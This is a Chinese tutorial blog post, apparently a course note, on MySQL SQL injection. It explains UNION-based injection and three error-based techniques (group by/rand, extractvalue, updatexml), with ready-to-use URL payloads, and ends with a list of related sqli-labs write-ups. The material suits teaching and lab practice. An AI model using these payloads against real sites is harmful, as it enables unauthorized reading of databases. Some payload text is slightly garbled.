SQL注入之联合查询和报错注入

2023-10-26

联合查询
联合查询就是利用SQL 语句union select 。
union select 会把两条SQL 语句的查询结果拼接起来,形成一张虚拟的表。联合查询会实现跨库跨表查询,会极大减少SQL 注入的成本。
联合查询有两个限制条件
  1. 两条SQL 语句的查询结果具有相同的列数

  2. 两条SQL 语句相同位置的列具有相同的数据类型
    联合查询通常用在数据库的内容会回显到网页上的情况,所以联合查询通常需要三步:
    1.判断当前表中字段个数
    使用使用语句[?id=1’ order by 1 --+],order by 3 的时候页面正常,当order by 4 时,页面报错。说明当前表中存在3 个字段。
    在这里插入图片描述
    2.判断显示位
    使用语句[?id=-1’ union select 1,2,3 --+]
    在这里插入图片描述

    在页面中可以看到数字2 和3 ,说明显示位是2 和3。

  3. 实现跨库跨表查询
    使用语句[?id=-1’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+]
    在这里插入图片描述

报错注入

报错注入select 1 from (select count(*),concat((select version() from information_schema.tables limit 0,1),floor(rand()2))x from information_schema.tables group by x)a
报错注入用在数据库的错误信息会回显在网页中的情况,如果联合查询不能使用,首选报错注入。
报错注入利用的是数据库的报错信息得到数据库的内容,这里需要构造语句让数据库报错。
让数据库报错的语句有很多,原理也不尽相同,还有数据库版本的因素。本章课程推荐同学们把报错的语句当作公式记下来,进行报错注入。以下展示三种报错注入的方法
1. group by 重复键冲突

公式:[?id=1 and (select 1 from (select count(
),concat((select 查询的内容 from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) --+]。
提交参数[?id=1’ and () --+]
在这里插入图片描述
2. extractvalue() 函数
公式:[?id=1 and extractvalue(1,concat(’’,(查询的内容),’’))]
提交内容[?id=1’ and extractvalue(1,concat(’^’,(select version()),’^’)) --+]
在这里插入图片描述
3. updatexml() 函数
公式[?id=1 and updatexml(1,concat(’’,(查询的内容),’’),1)] 注释:^ 16进制为0x5e
提交内容[?id=1’ and updatexml(1,concat(’^’,(select database()),’^’),1) --+]

在这里插入图片描述

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

SQL注入之联合查询和报错注入 的相关文章

  • LESS-23 LESS-25 LESS-25a

    LESS 23 源码 以此可知可以通过报错注入等方式 语法 mixed preg replace mixed pattern mixed replacement mixed subject int KaTeX parse error Exp
  • SQL注入漏洞(postgresql注入)

    以前孤陋寡闻对postgresql这个数据库少有了解 后来与几个目前在企业实习的朋友聊天才得知他们有的公司项目用的是postgresql 有的公司是正在将原本的数据库迁移到postgresql 可见postgresql比较热 毕竟免费且功能
  • 【网络运维与安全岗位】月薪2.5w,您还不知道的前景!

    一 为什么学网络安全 标重点 1 市场巨大 每年各安全厂商收入高达400亿左右 随着5G的发展 万物互联时代 市场将进一步扩大 2 薪资高 网安人才的匮乏 用人开出招聘薪资往往高于求职者的预期 3 靠能力说话 在网络安全专业 专业技能竞争力
  • 如何判断是字符型注入还是整形注入

    1 数字型注入 当输入的参数为整形时 如果存在注入漏洞 可以认为是数字型注入 测试步骤 1 加单引号 URL www text com text php id 3 对应的sql select from table where id 3 这时
  • SQL注入漏洞(绕过篇)

    在学习完了SQL注入的原理 SQL注入的类型后那么可以说SQL注入已经大致了解了 但事实是现实中开发人员不可能让你这么简单就攻击到数据库 他们一般会对已输入或可输入的数据做一定限制 这篇文章我主要对SQL注入中代码或者waf过滤的绕过做一次
  • 2022年江西省中职组“网络空间安全”赛项模块B-网页渗透

    2022年中职组山西省 网络空间安全 赛项 B 10 网页渗透解析 不懂私信博主 联系方式 3260344435 一 竞赛时间 420分钟 共计7小时 吃饭一小时 二 竞赛阶段 竞赛阶段 任务阶段 竞赛任务 竞赛时间 分值 第 阶段 单兵模
  • sqli-labs:less-21

    和20题很像 然后一看cookie是一个base64编码的 解码一下 是Dumb 所以cookie一个是注入点 只是有个base64编码 随便提一下 base32 只有大写字母和数字数字组成 或者后面有三个等号 base64 只有大写字母和
  • 深入解析sprintf格式化字符串漏洞

    深入解析sprintf格式化字符串漏洞 0x00 前言 从相遇到相识 从相识到相知 不过你真的懂ta吗 这次故事的主角是PHP中的格式化函数sprintf 0x01 sprintf 讲解 首先我们先了解sprintf 函数 sprintf
  • sqli-labs-less-12 PODT传参+有回显信息(图文详解)

    Less 12 post传递参数 由于是post传参 我们先用burp suite抓包 分析报文体 获取传参过程 得到报文体之后使用hackbar插件中的post data进行注入实验 判断闭合方式 uname or 1 1 passwd
  • iwebsec靶场 SQL注入漏洞通关笔记5- updatexml注入(报错型盲注)

    系列文章目录 iwebsec靶场 SQL注入漏洞通关笔记1 数字型注入 mooyuan的博客 CSDN博客 iwebsec靶场 SQL注入漏洞通关笔记2 字符型注入 宽字节注入 mooyuan的博客 CSDN博客 iwebsec靶场 SQL
  • sqli-labs:less-28(过滤了union和select)

    div div
  • SQLi-LABS(21~25a关详解)

    SQLi LABS Less 21 查看题目环境 登陆给我回显的数据是I LOVE YOU COOKIES 这题看了网上的wp才知道原来是将我们的uname和passwd都进行base64编码 表示不知道怎么看出来的 Cookie unam
  • 应用布尔盲注来爆库(1)

    先上道练习题Less 8 打开sqli labs项目的练习题Less 8 http 192 168 3 2 sqli labs Less 8 然后输入id 1参数 可以得到以下信息 输入有效id 1时 只提示成功 You are in 没有
  • sqli labs less 25

    按照常规输入id 1 提示报错信息如下 一个很常见的报错 可以看出是单引号闭合的语句 输入 id 1 or 1 报出的错误信息不明显 加入一个括号进行试探能不能报出更多的语句错误 输入 id 1 or 1 从上图看出来or 被屏蔽了 经过更
  • SQL中的and、or

    在sql查询语句中长用到and和or 它们在用的时候有些需要注意的地方 不管在一项表达式中有多少个and或or 它是将前一个表达式看作一项 and与or后的所有表达式看做一项 and的前后都为真的时候才为真 取交集 or有一个为真 即为真
  • SQL注入攻击介绍

    SQL注入攻击介绍 一 SQL注入攻击简介 SQL注入攻击是指 后台数据库操作时 如果拼接外部参数到SQL语句中 就可能导致欺骗服务器执行恶意的SQL语句 造成数据泄露 删库 页面篡改等严重后果 按变量类型分为 数字型 字符型 按HTTP提
  • sqlilabs—less8

    文章目录 Sqlilabs less8 1 判断注入点 2 爆字段 3 判断数据库 1 判断数据库名长度 2 判断数据库名称 4 判断表 1 有几个表 2 分别判断表长度 3 分别判断表名称 5 判断列 1 判断表中有几个字段 有几列 2
  • 渗透测试——cookie注入

    1 cookie注入原理 Cookie最先是由Netscape 网景 公司提出的 Netscape官方文档中对Cookie的定义是这样的 Cookie是在HTTP协议下 服务器或脚本可以维护客户工作站上信息的一种方式 Cookie的用途非常
  • sqli-labs通关攻略54-65[Challenges]

    Advanced Injections 文章目录 Advanced Injections less 54 less 55 less 56 less 60 less 62 less 63 less 64 less 65 最后一篇补上 less
  • 堆叠查询注入攻击

    堆叠注入原理及介绍 Stacked injections 堆叠注入 从名词的含义就可以看到应该是一堆sql语句 多条 一起执行 而在真实的运用中也是这样的 我们知道在mysql中 主要是命令行中 每一条语句结尾加 表示语句结束 这样我们就想

随机推荐